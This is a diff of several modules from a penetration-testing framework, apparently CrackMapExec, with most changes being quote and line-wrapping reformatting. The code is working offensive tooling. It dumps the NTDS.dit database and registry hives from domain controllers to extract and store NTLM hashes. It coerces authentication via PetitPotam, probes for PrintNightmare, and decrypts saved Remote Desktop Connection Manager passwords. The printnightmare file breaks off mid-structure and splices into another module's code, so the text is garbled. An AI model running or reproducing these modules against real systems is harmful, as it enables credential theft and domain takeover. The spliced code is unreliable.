os.makedirs(os.path.join(self.dir_result, 'Active Directory'), exist_ok=True) - os.makedirs(os.path.join(self.dir_result, 'registry'), exist_ok=True) + os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True) + os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True) context.log.display("Copying NTDS dump to %s" % self.dir_result) - context.log.debug('Copy ntds.dit to host') - with open(os.path.join(self.dir_result,'Active Directory','ntds.dit'), 'wb+') as dump_file: + context.log.debug("Copy ntds.dit to host") + with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file: try: - connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'Active Directory\\ntds.dit', dump_file.write) - context.log.debug('Copied ntds.dit file') + connection.conn.getFile( + self.share, + self.tmp_share + self.dump_location + "\\" + "Active Directory\\ntds.dit", + dump_file.write, + ) + context.log.debug("Copied ntds.dit file") except Exception as e: - context.log.fail('Error while get ntds.dit file: {}'.format(e)) + context.log.fail("Error while get ntds.dit file: {}".format(e)) - context.log.debug('Copy SYSTEM to host') - with open(os.path.join(self.dir_result,'registry','SYSTEM'), 'wb+') as dump_file: + context.log.debug("Copy SYSTEM to host") + with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file: try: - connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'registry\\SYSTEM', dump_file.write) - context.log.debug('Copied SYSTEM file') + connection.conn.getFile( + self.share, + self.tmp_share + self.dump_location + "\\" + "registry\\SYSTEM", + dump_file.write, + ) + context.log.debug("Copied SYSTEM file") except Exception as e: - context.log.fail('Error while get SYSTEM file: {}'.format(e)) + context.log.fail("Error while get SYSTEM file: {}".format(e)) - context.log.debug('Copy SECURITY to host') - with open(os.path.join(self.dir_result,'registry','SECURITY'), 'wb+') as dump_file: + context.log.debug("Copy SECURITY to host") + with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file: try: - connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'registry\\SECURITY', dump_file.write) - context.log.debug('Copied SECURITY file') + connection.conn.getFile( + self.share, + self.tmp_share + self.dump_location + "\\" + "registry\\SECURITY", + dump_file.write, + ) + context.log.debug("Copied SECURITY file") except Exception as e: - context.log.fail('Error while get SECURITY file: {}'.format(e)) + context.log.fail("Error while get SECURITY file: {}".format(e)) context.log.display("NTDS dump copied to %s" % self.dir_result) try: command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location) p = connection.execute(command, True) - context.log.success('Deleted %s%s remote dump directory' % (self.tmp_dir, self.dump_location)) + context.log.success("Deleted %s%s remote dump directory" % (self.tmp_dir, self.dump_location)) except Exception as e: - context.log.fail('Error deleting {} remote directory on share {}: {}'.format(self.dump_location, self.share, e)) + context.log.fail("Error deleting {} remote directory on share {}: {}".format(self.dump_location, self.share, e)) localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result) bootKey = localOperations.getBootKey() @@ -102,18 +116,18 @@ class CMEModule: else: ntds_hash = ntds_hash.split(" ")[0] context.log.highlight(ntds_hash) - if ntds_hash.find('$') == -1: - if ntds_hash.find('\\') != -1: - domain, hash = ntds_hash.split('\\') + if ntds_hash.find("$") == -1: + if ntds_hash.find("\\") != -1: + domain, hash = ntds_hash.split("\\") else: domain = connection.domain hash = ntds_hash try: - username,_,lmhash,nthash,_,_,_ = hash.split(':') - parsed_hash = ':'.join((lmhash, nthash)) + username, _, lmhash, nthash, _, _, _ = hash.split(":") + parsed_hash = ":".join((lmhash, nthash)) if validate_ntlm(parsed_hash): - context.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id) + context.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) add_ntds_hash.added_to_db += 1 return raise @@ -121,28 +135,46 @@ class CMEModule: context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: context.log.debug("Dumped hash is a computer account, not adding to db") + add_ntds_hash.ntds_hashes = 0 add_ntds_hash.added_to_db = 0 - NTDS = NTDSHashes("%s/Active Directory/ntds.dit" % self.dir_result, bootKey, isRemote=False, history=False, noLMHash=noLMHash, - remoteOps=None, useVSSMethod=True, justNTLM=True, - pwdLastSet=False, resumeSession=None, outputFileName=connection.output_filename, - justUser=None, printUserStatus=True, - perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id)) - + NTDS = NTDSHashes( + "%s/Active Directory/ntds.dit" % self.dir_result, + bootKey, + isRemote=False, + history=False, + noLMHash=noLMHash, + remoteOps=None, + useVSSMethod=True, + justNTLM=True, + pwdLastSet=False, + resumeSession=None, + outputFileName=connection.output_filename, + justUser=None, + printUserStatus=True, + perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, host_id), + ) + try: - context.log.success('Dumping the NTDS, this could take a while so go grab a redbull...') + context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() - context.log.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), connection.output_filename + '.ntds', highlight(add_ntds_hash.added_to_db))) + context.log.success( + "Dumped {} NTDS hashes to {} of which {} were added to the database".format( + highlight(add_ntds_hash.ntds_hashes), + connection.output_filename + ".ntds", + highlight(add_ntds_hash.added_to_db), + ) + ) context.log.display("To extract only enabled accounts from the output file, run the following command: ") - context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + '.ntds')) + context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + ".ntds")) except Exception as e: context.log.fail(e) NTDS.finish() - + if self.no_delete: - context.log.display('Raw NTDS dump copied to %s, parse it with:' % self.dir_result) - context.log.display("secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds \"%s/Active Directory/ntds.dit\" LOCAL" % (self.dir_result, self.dir_result, self.dir_result)) + context.log.display("Raw NTDS dump copied to %s, parse it with:" % self.dir_result) + context.log.display('secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' % (self.dir_result, self.dir_result, self.dir_result)) else: - shutil.rmtree(self.dir_result) \ No newline at end of file + shutil.rmtree(self.dir_result) diff --git a/cme/modules/ntlmv1.py b/cme/modules/ntlmv1.py index 90375a17..98481a49 100644 --- a/cme/modules/ntlmv1.py +++ b/cme/modules/ntlmv1.py @@ -11,6 +11,7 @@ class CMEModule: Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication Module by @Tw1sm """ + name = "ntlmv1" description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1" supported_protocols = ["smb"] @@ -31,16 +32,16 @@ class CMEModule: ans = rrp.hBaseRegOpenKey( remote_ops._RemoteOperations__rrp, reg_handle, - "SYSTEM\\CurrentControlSet\\Control\\Lsa" + "SYSTEM\\CurrentControlSet\\Control\\Lsa", ) - key_handle = ans['phkResult'] + key_handle = ans["phkResult"] rtype = None data = None try: rtype, data = rrp.hBaseRegQueryValue( remote_ops._RemoteOperations__rrp, key_handle, - "lmcompatibilitylevel\x00" + "lmcompatibilitylevel\x00", ) except rrp.DCERPCSessionError as e: context.log.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set") diff --git a/cme/modules/petitpotam.py b/cme/modules/petitpotam.py index 78163177..49b4115d 100644 --- a/cme/modules/petitpotam.py +++ b/cme/modules/petitpotam.py @@ -10,14 +10,19 @@ from impacket import system_errors from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, PCHAR, RPC_SID, LPWSTR -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.rpcrt import ( + DCERPCException, + RPC_C_AUTHN_WINNT, + RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_AUTHN_GSS_NEGOTIATE, +) from impacket.uuid import uuidtup_to_bin class CMEModule: - name = 'petitpotam' + name = "petitpotam" description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -27,11 +32,11 @@ class CMEModule: PIPE Default PIPE (default: lsarpc) """ self.listener = "127.0.0.1" - if 'LISTENER' in module_options: - self.listener = module_options['LISTENER'] + if "LISTENER" in module_options: + self.listener = module_options["LISTENER"] self.pipe = "lsarpc" - if 'PIPE' in module_options: - self.pipe = module_options['PIPE'] + if "PIPE" in module_options: + self.pipe = module_options["PIPE"] def on_login(self, context, connection): dce = coerce( @@ -45,14 +50,22 @@ class CMEModule: do_kerberos=connection.kerberos, dc_host=connection.kdcHost, target_ip=connection.host, - context=context + context=context, ) if efs_rpc_open_file_raw(dce, self.listener, context): context.log.highlight("VULNERABLE") context.log.highlight("Next step: https://github.com/topotam/PetitPotam") try: host = context.db.get_hosts(connection.host)[0] - context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, petitpotam=True) + context.db.add_host( + host.ip, + host.hostname, + host.domain, + host.os, + host.smbv1, + host.signing, + petitpotam=True, + ) except Exception as e: context.log.debug(f"Error updating petitpotam status in database") @@ -61,14 +74,18 @@ class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) - def __str__( self ): + def __str__(self): key = self.error_code if key in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] - return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + return "EFSR SessionError: code: 0x%x - %s - %s" % ( + self.error_code, + error_msg_short, + error_msg_verbose, + ) else: - return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code + return "EFSR SessionError: unknown error code: 0x%x" % self.error_code ################################################################################ @@ -76,82 +93,73 @@ class DCERPCSessionError(DCERPCException): ################################################################################ class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): align = 1 - structure = ( - ('Data', '20s'), - ) + structure = (("Data", "20s"),) class EFS_EXIM_PIPE(NDRSTRUCT): align = 1 - structure = ( - ('Data', ':'), - ) + structure = (("Data", ":"),) class EFS_HASH_BLOB(NDRSTRUCT): - structure = ( - ('Data', DWORD), - ('cbData', PCHAR), + ("Data", DWORD), + ("cbData", PCHAR), ) class EFS_RPC_BLOB(NDRSTRUCT): - structure = ( - ('Data', DWORD), - ('cbData', PCHAR), + ("Data", DWORD), + ("cbData", PCHAR), ) class EFS_CERTIFICATE_BLOB(NDRSTRUCT): structure = ( - ('Type', DWORD), - ('Data', DWORD), - ('cbData', PCHAR), + ("Type", DWORD), + ("Data", DWORD), + ("cbData", PCHAR), ) class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT): structure = ( - ('Lenght', DWORD), - ('SID', RPC_SID), - ('Hash', EFS_HASH_BLOB), - ('Display', LPWSTR), + ("Lenght", DWORD), + ("SID", RPC_SID), + ("Hash", EFS_HASH_BLOB), + ("Display", LPWSTR), ) class ENCRYPTION_CERTIFICATE(NDRSTRUCT): structure = ( - ('Lenght', DWORD), - ('SID', RPC_SID), - ('Hash', EFS_CERTIFICATE_BLOB), - + ("Lenght", DWORD), + ("SID", RPC_SID), + ("Hash", EFS_CERTIFICATE_BLOB), ) class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT): align = 1 structure = ( - ('Cert', DWORD), - ('Users', ENCRYPTION_CERTIFICATE_HASH), + ("Cert", DWORD), + ("Users", ENCRYPTION_CERTIFICATE_HASH), ) class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT): structure = ( - ('Type', DWORD), - ('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST), - ('Certif', ENCRYPTION_CERTIFICATE), - ('Blob', EFS_RPC_BLOB), + ("Type", DWORD), + ("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST), + ("Certif", ENCRYPTION_CERTIFICATE), + ("Blob", EFS_RPC_BLOB), ) class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT): align = 1 - structure = ( - ('Data', ':'), - ) + structure = (("Data", ":"),) ################################################################################ @@ -160,57 +168,71 @@ class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT): class EfsRpcOpenFileRaw(NDRCALL): opnum = 0 structure = ( - ('fileName', WSTR), - ('Flag', ULONG), + ("fileName", WSTR), + ("Flag", ULONG), ) class EfsRpcOpenFileRawResponse(NDRCALL): structure = ( - ('hContext', EXIMPORT_CONTEXT_HANDLE), - ('ErrorCode', ULONG), + ("hContext", EXIMPORT_CONTEXT_HANDLE), + ("ErrorCode", ULONG), ) class EfsRpcEncryptFileSrv(NDRCALL): opnum = 4 - structure = ( - ('FileName', WSTR), - ) + structure = (("FileName", WSTR),) class EfsRpcEncryptFileSrvResponse(NDRCALL): - structure = ( - ('ErrorCode', ULONG), - ) + structure = (("ErrorCode", ULONG),) -def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos, dc_host, target_ip=None, context=None): +def coerce( + username, + password, + domain, + lmhash, + nthash, + target, + pipe, + do_kerberos, + dc_host, + target_ip=None, + context=None, +): binding_params = { - 'lsarpc': { - 'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target, - 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') + "lsarpc": { + "stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target, + "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, - 'efsr': { - 'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target, - 'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0') + "efsr": { + "stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target, + "MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"), }, - 'samr': { - 'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target, - 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') + "samr": { + "stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target, + "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, - 'lsass': { - 'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target, - 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') + "lsass": { + "stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target, + "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, - 'netlogon': { - 'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target, - 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') + "netlogon": { + "stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target, + "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, } - rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding']) - if hasattr(rpc_transport, 'set_credentials'): - rpc_transport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) + rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) + if hasattr(rpc_transport, "set_credentials"): + rpc_transport.set_credentials( + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + ) if target_ip: rpc_transport.setRemoteHost(target_ip) @@ -223,16 +245,16 @@ def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host) dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - context.log.info("[-] Connecting to %s" % binding_params[pipe]['stringBinding']) + context.log.info("[-] Connecting to %s" % binding_params[pipe]["stringBinding"]) try: dce.connect() except Exception as e: context.log.debug("Something went wrong, check error status => %s" % str(e)) sys.exit() context.log.info("[+] Connected!") - context.log.info("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0]) + context.log.info("[+] Binding to %s" % binding_params[pipe]["MSRPC_UUID_EFSR"][0]) try: - dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR'])) + dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"])) except Exception as e: context.log.debug("Something went wrong, check error status => %s" % str(e)) sys.exit() @@ -243,27 +265,27 @@ def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos def efs_rpc_open_file_raw(dce, listener, context=None): try: request = EfsRpcOpenFileRaw() - request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener - request['Flag'] = 0 + request["fileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener + request["Flag"] = 0 resp = dce.request(request) except Exception as e: - if str(e).find('ERROR_BAD_NETPATH') >= 0: - context.log.info('[+] Got expected ERROR_BAD_NETPATH exception!!') - context.log.info('[+] Attack worked!') + if str(e).find("ERROR_BAD_NETPATH") >= 0: + context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!") + context.log.info("[+] Attack worked!") return True - if str(e).find('rpc_s_access_denied') >= 0: - context.log.info('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!') - context.log.info('[+] OK! Using unpatched function!') + if str(e).find("rpc_s_access_denied") >= 0: + context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!") + context.log.info("[+] OK! Using unpatched function!") context.log.info("[-] Sending EfsRpcEncryptFileSrv!") try: request = EfsRpcEncryptFileSrv() - request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener + request["FileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener resp = dce.request(request) except Exception as e: - if str(e).find('ERROR_BAD_NETPATH') >= 0: - context.log.info('[+] Got expected ERROR_BAD_NETPATH exception!!') - context.log.info('[+] Attack worked!') + if str(e).find("ERROR_BAD_NETPATH") >= 0: + context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!") + context.log.info("[+] Attack worked!") return True else: context.log.debug("Something went wrong, check error status => %s" % str(e)) diff --git a/cme/modules/printnightmare.py b/cme/modules/printnightmare.py new file mode 100644 index 00000000..98f069b5 --- /dev/null +++ b/cme/modules/printnightmare.py @@ -0,0 +1,299 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import sys +from impacket import system_errors +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.structure import Structure +from impacket.dcerpc.v5 import transport, rprn +from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL +from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR +from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY + +KNOWN_PROTOCOLS = { + 135: {"bindstr": r"ncacn_ip_tcp:%s[135]"}, + 445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"}, +} + + +class CMEModule: + """ + Check if vulnerable to printnightmare + Module by @mpgn_x64 based on https://github.com/ly4k/PrintNightmare + """ + + name = "printnightmare" + description = "Check if host vulnerable to printnightmare" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.__string_binding = None + self.port = None + + def options(self, context, module_options): + """ + PORT Port to check (defaults to 445) + """ + self.port = 445 + if "PORT" in module_options: + self.port = int(module_options["PORT"]) + + def on_login(self, context, connection): + # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515) + stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host + + context.log.info("Binding to %s" % (repr(stringbinding))) + + rpctransport = transport.DCERPCTransportFactory(stringbinding) + + rpctransport.set_credentials( + connection.username, + connection.password, + connection.domain, + connection.lmhash, + connection.nthash, + ) + + rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) + + rpctransport.setRemoteHost(connection.host) + rpctransport.set_dport(self.port) + + try: + dce = rpctransport.get_dce_rpc() + # Connect to spoolss named pipe + dce.connect() + # Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB + dce.bind(rprn.MSRPC_UUID_RPRN) + except Exception as e: + context.log.fail("Failed to bind: %s" % e) + sys.exit(1) + + flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER + + driver_container = DRIVER_CONTAINER() + driver_container["Level"] = 2 + driver_container["DriverInfo"]["tag"] = 2 + driver_container["DriverInfo"]["Level2"]["cVersion"] = 0 + driver_container["DriverInfo"]["Level2"]["pName"] = NULL + driver_container["DriverInfo"]["Level2"]["pEnvironment"] = NULL + driver_container["DriverInfo"]["Level2"]["pDriverPath"] = NULL + driver_container["DriverInfo"]["Level2"]["pDataFile"] = NULL + driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL + driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL + + try: + hRpcAddPrinterDriverEx( + dce, + pName=NULL, + pDriverContainer=driver_container, + dwFileCopyFlags=flags, + ) + except DCERPCSessionError as e: + # RPC_E_ACCESS_DENIED is returned on patched systems, when + # a non-administrative user tries to create a new printer + # driver + if e.error_code == RPC_E_ACCESS_DENIED: + context.log.info("Not vulnerable :'(") + return False + # If vulnerable, 'ERROR_INVALID_PARAMETER' will be returned + if e.error_code == system_errors.ERROR_INVALID_PARAMETER: + context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") + return True + raise e + context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") + return True + + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__(self): + key = self.error_code + if key in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] + return "RPRN SessionError: code: 0x%x - %s - %s" % ( + self.error_code, + error_msg_short, + error_msg_verbose, + ) + else: + return "RPRN SessionError: unknown error code: 0x%x" % self.error_code + + +################################################################################ +# CONSTANTS +################################################################################ +# MS-RPRN - 3.1.4.4.8 +APD_COPY_ALL_FILES = 0x00000004 +APD_COPY_FROM_DIRECTORY = 0x00000010 +APD_INSTALL_WARNED_DRIVER = 0x00008000 + +# MS-RPRN - 3.1.4.4.7 +DPD_DELETE_UNUSED_FILES = 0x00000001 + +# https://docs.microsoft.com/en-us/windows/win32/com/com-error-codes-3 +RPC_E_ACCESS_DENIED = 0x8001011B +system_errors.ERROR_MESSAGES[RPC_E_ACCESS_DENIED] = ( + "RPC_E_ACCESS_DENIED", + "Access is denied.", +) + + +################################################################################ +# STRUCTURES +################################################################################ +# MS-RPRN - 2.2.1.5.1 +class DRIVER_INFO_1(NDRSTRUCT): + structure = (("pName", STRING_HANDLE),) + + +class PDRIVER_INFO_1(NDRPOINTER): + referent = (("Data", DRIVER_INFO_1),) + + +# MS-RPRN - 2.2.1.5.2 +class DRIVER_INFO_2(NDRSTRUCT): + structure = ( + ("cVersion", DWORD), + ("pName", LPWSTR), + ("pEnvironment", LPWSTR), + ("pDriverPath", LPWSTR), + ("pDataFile", LPWSTR), + ("pConfigFile", LPWSTR), + ) + + +class PDRIVER_INFO_2(NDRPOINTER): + referent = (("Data", DRIVER_INFO_2),) + + +class DRIVER_INFO_2_BLOB(Structure): + structure = ( + ("cVersion", " 0: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: - context.log.fail('Error openning dump file', str(e)) + context.log.fail("Error openning dump file", str(e)) diff --git a/cme/modules/rdcman.py b/cme/modules/rdcman.py index 579d9296..ccc2d44a 100644 --- a/cme/modules/rdcman.py +++ b/cme/modules/rdcman.py @@ -9,11 +9,12 @@ from dploot.lib.smb import DPLootSMBConnection from cme.helpers.logger import highlight + class CMEModule: name = "rdcman" description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials" supported_protocols = ["smb"] - opsec_safe= True + opsec_safe = True multiple_hosts = True def options(self, context, module_options): @@ -25,12 +26,11 @@ class CMEModule: self.masterkeys = None if "PVK" in module_options: - self.pvkbytes = open(module_options["PVK"], 'rb').read() + self.pvkbytes = open(module_options["PVK"], "rb").read() if "MKFILE" in module_options: self.masterkeys = parse_masterkey_file(module_options["MKFILE"]) - self.pvkbytes = open(module_options["MKFILE"], 'rb').read() - + self.pvkbytes = open(module_options["MKFILE"], "rb").read() def on_admin_login(self, context, connection): host = connection.hostname + "." + connection.domain @@ -86,22 +86,28 @@ class CMEModule: conn = None try: - conn = DPLootSMBConnection(target) + conn = DPLootSMBConnection(target) conn.smb_session = connection.conn except Exception as e: context.log.debug("Could not upgrade connection: {}".format(e)) return - plaintexts = {username:password for _, _, username, password, _,_ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username:nt.split(':')[1] if ':' in nt else nt for _, _, username, nt, _,_ in context.db.get_credentials(cred_type="hash")} - if password != '': + plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} + if password != "": plaintexts[username] = password - if nthash != '': + if nthash != "": nthashes[username] = nthash if self.masterkeys is None: try: - masterkeys_triage = MasterkeysTriage(target=target, conn=conn, pvkbytes=self.pvkbytes, passwords=plaintexts, nthashes=nthashes) + masterkeys_triage = MasterkeysTriage( + target=target, + conn=conn, + pvkbytes=self.pvkbytes, + passwords=plaintexts, + nthashes=nthashes, + ) self.masterkeys = masterkeys_triage.triage_masterkeys() except Exception as e: context.log.debug("Could not get masterkeys: {}".format(e)) @@ -119,21 +125,71 @@ class CMEModule: if rdcman_file is None: continue for rdg_cred in rdcman_file.rdg_creds: - if rdg_cred.type == 'cred': - context.log.highlight("[%s][%s] %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1'))) - elif rdg_cred.type == 'logon': - context.log.highlight("[%s][%s] %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1'))) - elif rdg_cred.type == 'server': - context.log.highlight("[%s][%s] %s - %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode('latin-1'))) + if rdg_cred.type == "cred": + context.log.highlight( + "[%s][%s] %s:%s" + % ( + rdcman_file.winuser, + rdg_cred.profile_name, + rdg_cred.username, + rdg_cred.password.decode("latin-1"), + ) + ) + elif rdg_cred.type == "logon": + context.log.highlight( + "[%s][%s] %s:%s" + % ( + rdcman_file.winuser, + rdg_cred.profile_name, + rdg_cred.username, + rdg_cred.password.decode("latin-1"), + ) + ) + elif rdg_cred.type == "server": + context.log.highlight( + "[%s][%s] %s - %s:%s" + % ( + rdcman_file.winuser, + rdg_cred.profile_name, + rdg_cred.server_name, + rdg_cred.username, + rdg_cred.password.decode("latin-1"), + ) + ) for rdgfile in rdgfiles: if rdgfile is None: continue for rdg_cred in rdgfile.rdg_creds: - if rdg_cred.type == 'cred': - context.log.highlight("[%s][%s] %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1'))) - elif rdg_cred.type == 'logon': - context.log.highlight("[%s][%s] %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1'))) - elif rdg_cred.type == 'server': - context.log.highlight("[%s][%s] %s - %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode('latin-1'))) + if rdg_cred.type == "cred": + context.log.highlight( + "[%s][%s] %s:%s" + % ( + rdgfile.winuser, + rdg_cred.profile_name, + rdg_cred.username, + rdg_cred.password.decode("latin-1"), + ) + ) + elif rdg_cred.type == "logon": + context.log.highlight( + "[%s][%s] %s:%s" + % ( + rdgfile.winuser, + rdg_cred.profile_name, + rdg_cred.username, + rdg_cred.password.decode("latin-1"), + ) + ) + elif rdg_cred.type == "server": + context.log.highlight( + "[%s][%s] %s - %s:%s" + % ( + rdgfile.winuser, + rdg_cred.profile_name, + rdg_cred.server_name, + rdg_cred.username, + rdg_cred.password.decode("latin-1"), + ) + ) except Exception as e: - context.log.debug("Could not loot RDCMan secrets: {}".format(e)) \ No newline at end of file + context.log.debug("Could not loot RDCMan secrets: {}".format(e)) diff --git a/cme/modules/rdp.py b/cme/modules/rdp.py index 8e44fef6..91f12183 100644 --- a/cme/modules/rdp.py +++ b/cme/modules/rdp.py @@ -23,20 +23,20 @@ class CMEModule: """ ACTION Enable/Disable RDP (choices: enable, disable) """ - if not 'ACTION' in module_options: - context.log.fail('ACTION option not specified!') + if not "ACTION" in module_options: + context.log.fail("ACTION option not specified!") exit(1) - if module_options['ACTION'].lower() not in ['enable', 'disable']: - context.log.fail('Invalid value for ACTION option!') + if module_options["ACTION"].lower() not in ["enable", "disable"]: + context.log.fail("Invalid value for ACTION option!") exit(1) - self.action = module_options['ACTION'].lower() + self.action = module_options["ACTION"].lower() def on_admin_login(self, context, connection): - if self.action == 'enable': + if self.action == "enable": self.rdp_enable(context, connection.conn) - elif self.action == 'disable': + elif self.action == "disable": self.rdp_disable(context, connection.conn) def rdp_enable(self, context, 